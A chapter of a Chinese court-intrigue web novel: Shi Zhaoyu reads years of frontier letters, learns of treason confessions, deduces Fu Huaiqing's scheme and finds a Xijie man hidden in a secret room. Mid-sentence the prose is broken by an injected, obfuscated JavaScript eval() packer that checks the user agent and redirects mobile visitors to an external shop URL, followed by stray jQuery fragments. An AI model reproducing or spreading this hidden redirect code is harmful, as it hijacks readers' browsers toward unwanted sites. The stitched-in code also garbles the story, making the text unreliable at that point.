师照玉依次展开信件。
信中大多是彼此惦念的寒暄,孟长宇叮嘱伏怀青好生休养、莫要操劳,伏怀青亦反复劝他珍重自身。
孟长宇曾多次提起家中妻小,回忆旧时光景,连当年如何追到夫人的趣事也尽数说来,打趣着要给伏怀青取取经,字里行间透着轻松与欢喜。
他见伏怀青始终孑然一身,再三劝诫遇上合心意的姑娘切莫畏缩,定要主动争取,只可惜成婚时应是无缘亲临婚宴。
余下的,还有闲谈与感慨。
初到时,孟长宇直言边关苦寒,当地百姓衣食不济,生计维艰。
他曾在信中诉说胸中抱负,言明定要坚守这片疆土,助百姓安居乐业。
渐渐地,又开始细数西疆风土趣事,言语间满是鲜活,那是京城子弟从未见过的大漠风情,那是粗犷的、热情的、自由的大漠生活。
雨敲檐瓦,淅沥不绝却未曾入耳。
信件之多,师照玉尽数展开仔细阅读,从白日坐到夜里,却不觉疲累,心中久久无法平静。
下人掌上烛火,橘红静静燃烧,身影投在墙面。
屋内静谧,唯有纸张轻翻的微响,近十载光阴于眼前流逝,直至最后一封阅毕已不知时隔多久。
她闭眼缓神,却未曾离去,脑中细细捋清思路,回望伏怀青与孟长宇这十年,只觉时过境迁,物是人非。
研墨声响起,案面舒展一张新的信纸,尖端沾墨,深思熟虑后落笔。
落笔收锋,师照玉将信纸折好入封,交与青刃。
青刃将信封接过,手指压了压厚度,摸出内部至少有三张,后扫过信上留名,问:“这是给王爷的?”
“对,送进天牢去。”
先前也曾想过亲自去天牢看望伏怀青,但又觉不妥,但若只是将信递进去就好办许多了。
红刃也站在一旁,望着桌上密密麻麻的信,问:“小姐,要回房休息吗?”
“不了,我再待会儿。”
红刃想劝她,张了嘴却没出声,最终拿来披风绒毯和吃食,整夜守在屋外。
后来,师照玉因疲惫伏案休憩,竟昏昏睡去,后夜窗外电闪雷鸣之际才猛地惊醒,朦胧间还听见一阵异响。
她撑着昏沉的脑袋,懒懒抬眼看向案台上燃烧殆尽的蜡烛,视线扫过时明时暗的屋内,耳畔喧嚣不止,并未发现什么,许是睡着时幻听。
视线回拢,她将信纸装回对应的信封内,又按照原本的分类放入信箱,起身将信箱放回立柜。
红刃听见屋内动静,出声询问:“小姐,可是出什么事了?”
师照玉拉开门,湿冷风雨扑面而来,着实清醒不少。
在红刃的护送下,师照玉回到寝屋迟迟睡下,醒来时已是天明,日上三竿。
红刃心疼师照玉昨日疲累,特意不许下人打扰。
梳洗时,锦书进来传话:“左相夫人和二公子来了。”
珩王一案早已传遍全城,左相府自然知悉。
温令仪忧心忡忡,唯恐女儿为此暗自神伤,加之听闻昨日诸事更是心绪难安,一早就带着师荣木赶往王府探望。
得知师照玉还未醒来,也不许人打扰,只愿她好生睡上一觉。期间唤来青刃、红刃和锦书问话。又见到清晏,心中对此人很是欣赏。
师荣木百无聊赖地扣起手指,静静听着母亲和下人的谈话,知晓阿姐虽然忙前忙后,但并非想象中那般痛心,这才放下心来,连神情都轻松不少。
发觉帘子被掀起,他一个激灵看去,可算见到姗姗来迟的师照玉。
“阿姐!”他当即大声招呼,热情又激动。
温令仪见她脸色如常,精神头也不错,总算露出笑容,唤她:“阿沅。”
路过时顺手揉了揉弟弟的脑袋,师照玉坐到母亲身边,拉着她的手:“娘,阿沅好想你。”
“见你无碍,娘也放心了。”
“我给爹的信,他可有看?”师照玉补充,“可有给天牢递话?”
温令仪温柔地看着她:“放宽心便是,你爹第一时间便派人去天牢打点,里面的人不会难为珩王。”
“那就好。”师照玉作势安心。
“阿姐,你若当真担忧珩王,何不自己去天牢看他?”师荣木继续道,“你若要去,定是有法子的。”
“不可。”温令仪和师照玉同时出声。
师荣木瘪嘴:“有何不可?”
师照玉耐心解释:“如今风波未平,我的身份踏足天牢只会落人口实,非但帮不上忙,还会让局势愈发棘手。”
温令仪有意缄默,只想听听师照玉的想法。听罢心中又惊又喜,恍然发觉她如今行事沉稳有度,再不似曾经的恣意莽撞。
正值霍刀赶回,先与温令仪和师荣木行礼,随后开口:“随行回京的那两名将领被查出与西羯私下勾结,罪名坐实,如今也一同收押在天牢之中。”
“他二人常年在孟长宇手下做事,此番罪名定会牵连王爷。”师照玉顿了顿,“他二人作何反应?”
霍刀的脸色很差:“一开始不承认,结果上刑没多久就全招了。”
所以如今,确有人通敌叛国。
“而且……”霍刀握紧拳头,咬牙切齿,“这两人一口咬定是受孟将军和王爷的指使!”
温令仪心里咯噔,万万没料到事态竟演变到此般地步,暗自庆幸今日提前赶来,不必让师照玉孤身面对。
师荣木也默默看向师照玉,生怕阿姐承受不住打击。
可出乎意料地,师照玉仅是蹙眉,若有所思地盯着手中杯盏,不急不躁,不慌不乱。
师荣木刚想出声安慰,却被温令仪制止。在场众人皆是默声注视,留给师照玉安静思考的环境。
师照玉直觉这件事不对。
当初伏怀青离去时明明是一副了如指掌的模样,霍刀和霍剑也提前知晓孟府的夜间行刺,还有孟府侍卫出现截断退路和孟同海的反应,他们也应提前得到了消息,只是孟云泽不知情而已。
那么,孟府是如何得知?
古玉螭龙勒子来自墨家,当年墨家与孟家各持一枚以表两家交好。后墨家失火,墨秋辞侥幸存活,勒子也不知所踪。
伏怀青曾以寻求珍惜古玩为由,于民间搜寻各种勒子,只是迟迟没有找到这一枚。
大婚之夜伏怀青收下勒子,后来又出现在墨秋辞手中,师照玉便知晓他要找的就是这一枚,也明白他要拉拢的是孟家。
或许,孟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575040|203451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
府的消息来源就是伏怀青,他留在孟家也不仅是守灵,而是守株待兔,一场联合孟家的瓮中捉鳖。
可若真是如此,孟云泽来凤鸣轩传信时,不该显出落井下石之意,这是在……试探她?
师照玉猛地抬眼,眸光定定落在赶来的霍剑身上。
那时,青刃找到墨秋辞,墨秋辞因此带着勒子去了孟府,只要言明珩王多年相助,孟府多半会念着恩情,重新谋事。
可若孟府和伏怀青早就完成结盟,墨秋辞在那个节骨眼去……这是伏怀青在试探她!
若这些都是真的,经此一事,那么自己和墨秋辞之间的事会被伏怀青知晓。
而伏怀青此刻明明身在天牢,他所谋之事还在徐徐推进,甚至将她算了进去。
这样一个人,不会就此死去。
时局还未逆转,伏怀青的局还在继续。
霍剑已行至跟前,师照玉回神,如释重负地勾唇暗笑。
“王妃,我们找遍了全城,都没寻到您要找的人。”霍剑垂头。
师照玉端起茶盏轻饮一口:“找不到就算了。”
霍剑愣一下:“啊……哦,好。”
“如今线索断了,暂时又没有新的,你们去协助孟府调查吧。”师照玉放下茶盏,这是要赶人。
霍刀和霍剑虽有不解,但不敢多言,同时行礼退下。
温令仪敏锐觉察到她身上的气场变化,却未点明,故作轻松地扯开话头:“阿沅是不是还未用过膳?”
师荣木也反应过来:“对哦,阿姐,你饿不饿呀?”
三人默契地不再谈论珩王之事,尽可能闲谈趣事,使气氛轻松不少。
时至傍晚,温令仪和师荣木不见离去的意向,师照玉便将其留下,分别将两人安置在主院偏屋和单独厢房。
夜里,待两人接连入睡后,师照玉再次去往伏怀青的书房,青刃与红刃一同进屋。
三人在屋内转了几圈,到处摸个遍,最终锁定博古架中层的一尊冰纹白瓷梅瓶。
密室这种东西,似乎每家书房都有。张府的书房有,师正德的书房也有,想必伏怀青家也不会少。
随着瓶身旋动,墙体深处传来一阵细微的转轴音,隐在春雨檐声里极难察觉。
整面宽大的博古架缓缓向内平移,再侧滑,架体悄无声息地挪开,露出后方一道漆黑幽深的暗门入口。
果然,昨夜那声异响不是幻听。
可密室移动的声音如此细微,昨夜又是雷电交加,按理说不会听见那阵响动,那么唯一的解释便是密室内有人,并且那人昨夜还出来了,甚至见到了师照玉。
红刃和青刃握住兵器,一前一后护在师照玉身边。
内里并非狭小暗室,竟是一方居所,陈设简单却一应俱全。
火光摇曳间,三人定睛看去,发现床榻上竟有一人。
那人骤然惊醒,仓皇弹坐而起,惊慌地看着三人。
红刃举着烛火上前,照亮了那人的面庞。
此人三十出头,皮肤呈浅麦色,五官轮廓深邃,黑发微卷散落额前,是一张与中原人极为不同的脸。
根据孟长宇信中描述,师照玉看出了此人的身份。
他来自西羯。